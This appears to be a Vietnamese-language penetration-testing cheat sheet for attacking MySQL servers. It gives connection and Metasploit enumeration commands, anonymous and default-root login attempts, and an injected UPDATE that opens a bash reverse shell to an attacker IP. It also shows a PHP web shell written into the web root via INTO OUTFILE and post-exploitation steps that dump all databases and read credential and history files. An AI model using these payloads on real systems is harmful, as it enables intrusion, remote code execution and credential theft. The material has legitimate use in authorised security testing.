Skip to main content

MySQL (Port 3306)

Connect

Local

Kết nối tới MySQL cục bộ với tên người dùng, tùy chọn mật khẩu hoặc cơ sở dữ liệu:

mysql -u <username>
mysql -u <username> -p
mysql -u <username> -p <database_name>

Remote

Kết nối tới máy chủ MySQL từ xa với tên người dùng, hostname, cổng, và tùy chọn cơ sở dữ liệu:

mysql -u <username> -h <ip> -P <port> -p
mysql -u <username> -h <ip> -P <port> -p -D <database_name>

URL

Sử dụng URL MySQL để kết nối ứng dụng với cơ sở dữ liệu:

mysql://<username>:<password>@<ip>:<port>/<database_name>

Enumeration

Kiểm tra bằng Metasploit

Sử dụng các module Metasploit để liệt kê phiên bản, lược đồ, hoặc tài khoản người dùng:

msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/admin/mysql/mysql_enum
msf> use auxiliary/scanner/mysql/mysql_schemadump

Attack Vectors

Đăng nhập ẩn danh

Kết nối tới MySQL mà không cần mật khẩu bằng tài khoản ẩn danh:

mysql -u anonymous -h <ip> -P 3306

Đăng nhập với thông tin mặc định

Thử đăng nhập với thông tin đăng nhập mặc định như root với mật khẩu trống hoặc yếu:

mysql -u root -p
# Nhập mật khẩu mặc định hoặc để trống

Thực thi mã từ xa qua SQL Injection

Tận dụng lỗ hổng SQL Injection để thực thi mã hệ thống thông qua cập nhật dữ liệu:

mysql> UPDATE DB.users SET email='example@shell|| bash -c "bash -i >& /dev/tcp/<your_ip>/<port> 0>&1" &' WHERE name LIKE 'user%';

Post-Exploitation

Các lệnh MySQL thông dụng

Câu lệnhDescriptionCách dùng
SHOW DATABASES;Liệt kê DatabaseSHOW DATABASES;
USEĐổi DatabaseUSE database_name;
SHOW TABLES;Liệt kê các bảng trong DatabaseSHOW TABLES;
SHOW COLUMNS FROMLiệt kê các cột trong bảngSHOW COLUMNS FROM table_name;
SELECTTruy xuất dữ liệuSELECT * FROM table_name;
INSERT INTOChèn bản ghi mới vào bảngINSERT INTO table_name (column1, column2) VALUES (value1, value2);
UPDATECập nhật các bản ghi trong bảngUPDATE table_name SET column1 = value1 WHERE condition;
DELETE FROMXóa các bản ghi trong bảngDELETE FROM table_name WHERE condition;
CREATE DATABASETạo Database mớiCREATE DATABASE database_name;
DROP DATABASEXóa DatabaseDROP DATABASE database_name;
CREATE TABLETạo bảng mớiCREATE TABLE table_name (column1 datatype, column2 datatype);
DROP TABLEXóa bảngDROP TABLE table_name;
ALTER TABLE ADDThêm cột mớiALTER TABLE table_name ADD column_name datatype;
ALTER TABLE DROP COLUMNXóa cộtALTER TABLE table_name DROP COLUMN column_name;
GRANTCấp quyền cho userGRANT ALL PRIVILEGES ON database_name.* TO 'user'@'localhost' IDENTIFIED BY 'password';
REVOKEThu hồi quyền của userREVOKE ALL PRIVILEGES ON database_name.* FROM 'user'@'localhost';
SHOW GRANTS FORLiệt kê các quyền của userSHOW GRANTS FOR 'user'@'localhost';
FLUSH PRIVILEGES;Tải lại bảng quyềnFLUSH PRIVILEGES;

Sao lưu toàn bộ cơ sở dữ liệu

Sao lưu tất cả cơ sở dữ liệu để trích xuất thông tin:

mysqldump -u <username> -p <password> --all-databases --skip-lock-tables

Đọc tệp hệ thống

Sử dụng hàm load_file để đọc nội dung tệp từ hệ thống tệp của máy chủ:

SELECT load_file('/var/lib/mysql-files/key.txt');

Ghi tệp hệ thống cho RCE

Ghi script độc hại vào thư mục web để thực thi mã từ xa:

SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>" INTO OUTFILE '/var/www/html/shell.php';

Truy cập tệp cấu hình MySQL

Kiểm tra các tệp cấu hình để tìm thông tin đăng nhập.

Unix:

cat /etc/mysql/my.cnf
cat ~/.my.cnf

Windows:

type config.ini
type my.ini

Kiểm tra lịch sử lệnh

Xem lịch sử lệnh MySQL để tìm thông tin nhạy cảm:

cat ~/.mysql_history

Kiểm tra tệp nhật ký

Kiểm tra các tệp nhật ký để tìm dữ liệu nhạy cảm:

cat connections.log
cat update.log
cat common.log

Tìm mật khẩu trong ứng dụng

Kiểm tra tệp cấu hình ứng dụng web để tìm thông tin đăng nhập MySQL:

cat /var/www/html/configuration.php